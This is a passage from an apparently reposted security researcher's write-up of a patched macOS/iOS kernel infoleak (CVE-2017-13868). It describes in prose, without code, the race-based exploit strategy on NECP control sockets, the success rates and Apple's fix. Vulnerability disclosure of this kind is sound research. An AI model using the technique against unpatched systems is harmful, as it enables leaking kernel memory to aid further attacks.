to copy out to userspace. The actual implementation of kctl->getopt is determined by what type of control socket we’re operating on. Thus, in order to reach sooptcopyout with the uninitialized data intact, we need to find a kernel control socket with a getopt implementation that: does not overwrite the whole data buffer; does not shorten the data buffer; and returns success (that is, 0). Fortunately, it didn’t take much searching to find a candidate: the function necp_ctl_getopt, which is the getopt implementation for NECP kernel control sockets, simply returns 0 without processing the data buffer at all. The primary limitation of this approach is our ability to reallocate the memory address between the calls to sooptcopyin and sooptcopyout. Not a lot of work happens between those calls, meaning the race window could be pretty tight. If the race window is too tight, it might take a large number of tries to actually win the race. An alternative approach (that did not work) While reviewing this bug later, it seemed like it should have been possible to trigger it without any race at all by marking the memory write-only. That way, sooptcopyin would fail with EFAULT (because the memory is not readable) but sooptcopyout would succeed. However, in my testing, this simpler exploit strategy didn’t work: getsockopt would fail with EFAULT. I’m not sure why this happened. The final exploit After figuring out a strategy to trigger the information leak, I implemented the exploit. The high-level strategy is to open an NECP kernel control socket, launch a thread that will repeatedly map and unmap the target memory address, and then repeatedly call getsockopt on the control socket to try and trigger the leak. The complete exploit is available on my GitHub. Amazingly, it turned out that this was a pretty easy race to win. I performed tests on a 2015 Macbook Pro and an iPhone 7, and found that the median number of attempts to win the race on these platforms was 5 and 2, respectively. (The distribution was rather uneven, with the mean number of attempts on the Macbook sometimes rising as high as 600. However, this was primarily due to a few very large outliers, where it would take tens of thousands of attempts to win the race.) What’s great about this infoleak is that it does not depend on a fixed leak size: you can use it to leak data from arbitrary kernel heap zones by specifying different sizes to getsockopt. This makes for a very useful exploit primitive when performing complex attacks on the kernel. The fix I reported this issue to Apple on October 7, 2017, and it was assigned CVE-2017-13868. Apple fixed the bug in macOS 10.13.2 and iOS 11.2. Looking at the new kern_control.c, Apple decided to fix the bug by wrapping the code after the call to sooptcopyin in an if statement that checks whether there has been an error. I believe that this is the correct fix for this issue. Sursa: https://bazad.github.io/2018/03/a-fun-xnu-infoleak/
      • 2
      • Upvote
×
×
  • Create New...